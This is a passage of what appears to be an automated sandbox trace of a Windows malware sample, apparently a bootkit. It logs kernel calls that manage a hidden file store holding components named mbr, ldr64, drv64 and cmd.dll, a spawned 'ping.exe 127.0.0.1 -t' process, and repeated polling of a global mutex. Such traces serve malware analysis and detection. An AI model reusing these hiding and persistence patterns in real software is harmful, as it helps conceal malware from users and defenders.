PriorityBoost=0) [0130.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.831] KeEnterCriticalRegion () [0130.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] KeLeaveCriticalRegion () [0130.831] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.831] KeEnterCriticalRegion () [0130.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.831] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] KeLeaveCriticalRegion () [0130.831] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.831] KeEnterCriticalRegion () [0130.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] ExFreePoolWithTag (P=0xfffffa800294eec0, Tag=0x0) [0130.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.831] KeLeaveCriticalRegion () [0130.831] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.831] ReleaseMutex (hMutex=0xf0) returned 1 [0130.831] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.831] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.831] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.832] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.832] KeEnterCriticalRegion () [0130.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.832] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.832] IdePortDispatch () returned 0x103 [0130.832] KeWaitForMutexObject () returned 0x0 [0130.832] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.832] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.832] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.832] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.832] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.832] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.832] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.832] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.832] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.832] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.832] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.832] KeLeaveCriticalRegion () [0130.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.832] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.832] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.833] KeEnterCriticalRegion () [0130.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.833] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.833] IdePortDispatch () returned 0x103 [0130.833] KeWaitForMutexObject () returned 0x0 [0130.833] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.833] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.833] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.833] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.833] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.833] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.833] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.833] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.833] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.833] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.833] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.833] KeLeaveCriticalRegion () [0130.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.833] ReleaseMutex (hMutex=0x100) returned 1 [0130.833] Sleep (dwMilliseconds=0x2bf20) Thread: id = 195 os_tid = 0x39c [0081.890] Sleep (dwMilliseconds=0xea60) [0093.277] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x0 [0093.277] GetLastError () returned 0x2 [0093.277] GetWindowsDirectoryA (in: lpBuffer=0x1f340, uSize=0xfff | out: lpBuffer="C:\\Windows") returned 0xa [0093.278] PathAppendA (in: pszPath="C:\\Windows", pMore="SysWOW64\\ping.exe 127.0.0.1 -t" | out: pszPath="C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t") returned 1 [0093.278] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xd5f040*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd5f020 | out: lpCommandLine="C:\\Windows\\SysWOW64\\ping.exe 127.0.0.1 -t", lpProcessInformation=0xd5f020*(hProcess=0x4f0, hThread=0x4f8, dwProcessId=0x50c, dwThreadId=0x510)) returned 1 [0093.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003482000 [0093.279] IdePortDispatch () returned 0x103 [0093.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800287d960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d1000 [0093.560] IdePortDispatch () returned 0x103 [0094.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0094.892] IdePortDispatch () returned 0x103 [0095.435] CloseHandle (hObject=0x4f8) returned 1 [0095.435] CloseHandle (hObject=0x4f0) returned 1 [0095.435] Sleep (dwMilliseconds=0xea60) [0106.630] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0x72c [0106.630] CloseHandle (hObject=0x72c) returned 1 [0106.630] Sleep (dwMilliseconds=0xea60) [0117.335] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbec [0117.335] CloseHandle (hObject=0xbec) returned 1 [0117.335] Sleep (dwMilliseconds=0xea60) [0117.357] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbec [0117.357] CloseHandle (hObject=0xbec) returned 1 [0117.357] Sleep (dwMilliseconds=0xea60) [0117.413] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbec [0117.413] CloseHandle (hObject=0xbec) returned 1 [0117.413] Sleep (dwMilliseconds=0xea60) [0117.432] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbec [0117.432] CloseHandle (hObject=0xbec) returned 1 [0117.432] Sleep (dwMilliseconds=0xea60) [0117.452] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0117.452] CloseHandle (hObject=0xbfc) returned 1 [0117.452] Sleep (dwMilliseconds=0xea60) [0117.468] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0117.468] CloseHandle (hObject=0xbfc) returned 1 [0117.468] Sleep (dwMilliseconds=0xea60) [0117.487] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0117.487] CloseHandle (hObject=0xbfc) returned 1 [0117.487] Sleep (dwMilliseconds=0xea60) [0117.503] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0117.504] CloseHandle (hObject=0xbfc) returned 1 [0117.504] Sleep (dwMilliseconds=0xea60) [0117.506] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.506] CloseHandle (hObject=0xc04) returned 1 [0117.506] Sleep (dwMilliseconds=0xea60) [0117.509] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0117.509] CloseHandle (hObject=0xbfc) returned 1 [0117.510] Sleep (dwMilliseconds=0xea60) [0117.541] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.541] CloseHandle (hObject=0xc04) returned 1 [0117.541] Sleep (dwMilliseconds=0xea60) [0117.558] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.558] CloseHandle (hObject=0xc04) returned 1 [0117.558] Sleep (dwMilliseconds=0xea60) [0117.575] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.575] CloseHandle (hObject=0xc04) returned 1 [0117.575] Sleep (dwMilliseconds=0xea60) [0117.592] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.592] CloseHandle (hObject=0xc04) returned 1 [0117.592] Sleep (dwMilliseconds=0xea60) [0117.608] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.609] CloseHandle (hObject=0xc04) returned 1 [0117.609] Sleep (dwMilliseconds=0xea60) [0117.627] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.627] CloseHandle (hObject=0xc04) returned 1 [0117.627] Sleep (dwMilliseconds=0xea60) [0117.643] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0117.643] CloseHandle (hObject=0xc04) returned 1 [0117.643] Sleep (dwMilliseconds=0xea60) [0117.671] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.671] CloseHandle (hObject=0xc08) returned 1 [0117.671] Sleep (dwMilliseconds=0xea60) [0117.693] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.693] CloseHandle (hObject=0xc08) returned 1 [0117.693] Sleep (dwMilliseconds=0xea60) [0117.716] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.716] CloseHandle (hObject=0xc08) returned 1 [0117.716] Sleep (dwMilliseconds=0xea60) [0117.737] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.737] CloseHandle (hObject=0xc08) returned 1 [0117.737] Sleep (dwMilliseconds=0xea60) [0117.762] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.762] CloseHandle (hObject=0xc08) returned 1 [0117.762] Sleep (dwMilliseconds=0xea60) [0117.775] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.775] CloseHandle (hObject=0xc08) returned 1 [0117.775] Sleep (dwMilliseconds=0xea60) [0117.775] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.775] CloseHandle (hObject=0xc08) returned 1 [0117.775] Sleep (dwMilliseconds=0xea60) [0117.795] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.795] CloseHandle (hObject=0xc08) returned 1 [0117.795] Sleep (dwMilliseconds=0xea60) [0117.817] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.817] CloseHandle (hObject=0xc08) returned 1 [0117.817] Sleep (dwMilliseconds=0xea60) [0117.840] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.840] CloseHandle (hObject=0xc08) returned 1 [0117.840] Sleep (dwMilliseconds=0xea60) [0117.840] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.841] CloseHandle (hObject=0xc08) returned 1 [0117.841] Sleep (dwMilliseconds=0xea60) [0117.851] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.852] CloseHandle (hObject=0xc08) returned 1 [0117.852] Sleep (dwMilliseconds=0xea60) [0117.865] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.865] CloseHandle (hObject=0xc08) returned 1 [0117.865] Sleep (dwMilliseconds=0xea60) [0117.877] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.877] CloseHandle (hObject=0xc08) returned 1 [0117.877] Sleep (dwMilliseconds=0xea60) [0117.893] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0117.893] CloseHandle (hObject=0xc0c) returned 1 [0117.893] Sleep (dwMilliseconds=0xea60) [0117.894] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0117.894] CloseHandle (hObject=0xc0c) returned 1 [0117.894] Sleep (dwMilliseconds=0xea60) [0117.905] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0117.905] CloseHandle (hObject=0xc0c) returned 1 [0117.905] Sleep (dwMilliseconds=0xea60) [0117.905] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0117.905] CloseHandle (hObject=0xc0c) returned 1 [0117.905] Sleep (dwMilliseconds=0xea60) [0117.928] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.928] CloseHandle (hObject=0xc08) returned 1 [0117.928] Sleep (dwMilliseconds=0xea60) [0117.951] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.951] CloseHandle (hObject=0xc08) returned 1 [0117.951] Sleep (dwMilliseconds=0xea60) [0117.970] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0117.970] CloseHandle (hObject=0xc0c) returned 1 [0117.970] Sleep (dwMilliseconds=0xea60) [0117.983] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0117.983] CloseHandle (hObject=0xc08) returned 1 [0117.984] Sleep (dwMilliseconds=0xea60) [0118.007] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.007] CloseHandle (hObject=0xc08) returned 1 [0118.007] Sleep (dwMilliseconds=0xea60) [0118.030] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.030] CloseHandle (hObject=0xc08) returned 1 [0118.030] Sleep (dwMilliseconds=0xea60) [0118.035] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.035] CloseHandle (hObject=0xc08) returned 1 [0118.035] Sleep (dwMilliseconds=0xea60) [0118.057] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.057] CloseHandle (hObject=0xc08) returned 1 [0118.057] Sleep (dwMilliseconds=0xea60) [0118.079] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.079] CloseHandle (hObject=0xc08) returned 1 [0118.079] Sleep (dwMilliseconds=0xea60) [0118.102] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.102] CloseHandle (hObject=0xc08) returned 1 [0118.102] Sleep (dwMilliseconds=0xea60) [0118.124] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.124] CloseHandle (hObject=0xc08) returned 1 [0118.124] Sleep (dwMilliseconds=0xea60) [0118.158] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.158] CloseHandle (hObject=0xc08) returned 1 [0118.158] Sleep (dwMilliseconds=0xea60) [0118.180] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.180] CloseHandle (hObject=0xc08) returned 1 [0118.180] Sleep (dwMilliseconds=0xea60) [0118.202] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.202] CloseHandle (hObject=0xc08) returned 1 [0118.202] Sleep (dwMilliseconds=0xea60) [0118.225] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.225] CloseHandle (hObject=0xc08) returned 1 [0118.225] Sleep (dwMilliseconds=0xea60) [0118.246] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.246] CloseHandle (hObject=0xc08) returned 1 [0118.246] Sleep (dwMilliseconds=0xea60) [0118.256] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.267] CloseHandle (hObject=0xc08) returned 1 [0118.267] Sleep (dwMilliseconds=0xea60) [0118.285] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.286] CloseHandle (hObject=0xc08) returned 1 [0118.286] Sleep (dwMilliseconds=0xea60) [0118.304] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.304] CloseHandle (hObject=0xc08) returned 1 [0118.304] Sleep (dwMilliseconds=0xea60) [0118.327] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.327] CloseHandle (hObject=0xc08) returned 1 [0118.327] Sleep (dwMilliseconds=0xea60) [0118.346] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.346] CloseHandle (hObject=0xc08) returned 1 [0118.346] Sleep (dwMilliseconds=0xea60) [0118.365] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.365] CloseHandle (hObject=0xc08) returned 1 [0118.365] Sleep (dwMilliseconds=0xea60) [0118.383] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.383] CloseHandle (hObject=0xc08) returned 1 [0118.383] Sleep (dwMilliseconds=0xea60) [0118.401] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.401] CloseHandle (hObject=0xc08) returned 1 [0118.401] Sleep (dwMilliseconds=0xea60) [0118.418] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.418] CloseHandle (hObject=0xc08) returned 1 [0118.418] Sleep (dwMilliseconds=0xea60) [0118.436] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.436] CloseHandle (hObject=0xc08) returned 1 [0118.436] Sleep (dwMilliseconds=0xea60) [0118.454] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.454] CloseHandle (hObject=0xc08) returned 1 [0118.454] Sleep (dwMilliseconds=0xea60) [0118.471] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.471] CloseHandle (hObject=0xc08) returned 1 [0118.471] Sleep (dwMilliseconds=0xea60) [0118.488] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.488] CloseHandle (hObject=0xc08) returned 1 [0118.488] Sleep (dwMilliseconds=0xea60) [0118.506] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.506] CloseHandle (hObject=0xc08) returned 1 [0118.506] Sleep (dwMilliseconds=0xea60) [0118.520] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0118.520] CloseHandle (hObject=0xc0c) returned 1 [0118.520] Sleep (dwMilliseconds=0xea60) [0118.520] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0118.521] CloseHandle (hObject=0xc0c) returned 1 [0118.521] Sleep (dwMilliseconds=0xea60) [0118.522] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, 